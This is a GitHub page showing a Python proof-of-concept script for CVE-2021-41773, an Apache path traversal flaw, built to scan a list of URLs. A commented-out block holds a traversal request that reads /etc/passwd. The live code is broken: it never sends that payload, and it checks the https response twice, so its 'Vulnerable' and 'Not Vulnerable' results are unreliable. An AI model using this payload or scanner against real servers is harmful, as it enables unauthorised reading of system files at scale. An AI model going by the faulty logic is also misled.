-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathpoc.py
53 lines (44 loc) · 2.21 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
# CVE-2021-41773-PoC
# ZephrFish 2021
import urllib3
import sys
import re
import requests
urllib3.disable_warnings()
# Colours
def prRed(skk): print("\033[91m {}\033[00m" .format(skk))
def prGreen(skk): print("\033[92m {}\033[00m" .format(skk))
def CVEPoC(urls):
with open(urls.rstrip(), 'r') as f:
for url in f:
# regex=re.compile('^http://|^https://')
# try:
# normalresponse = requests.get(f'http://{url}/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd', verify=False)
# #print(url, normalresponse.status_code)
# if 'root' in normalresponse.text:
# prRed('[+] Vulnerable: ' + url)
# else:
# prGreen('[-] Not Vulnerable: ' + url)
# except:
# pass
# else:
HTTPSecure = "https://"+url.rstrip()
HTTPNot = "http://"+url.rstrip()
try:
httpsresponse = requests.get(HTTPSecure, verify=False, timeout=8)
httpresponse = requests.get(HTTPNot, verify=False, timeout=8)
#print(url.rstrip(), httpsresponse.status_code, httpresponse.status_code)
if 'root:*' in httpsresponse.text:
prRed('[+] Vulnerable: ' + url)
elif 'root:*' in httpsresponse.text:
prRed('[+] Vulnerable: ' + url)
else:
prGreen('[-] Not Vulnerable: ' + url)
except:
pass
if __name__ == '__main__':
try:
CVEPoC(sys.argv[1])
except:
print("Usage: python3 poc.py <urls.txt>")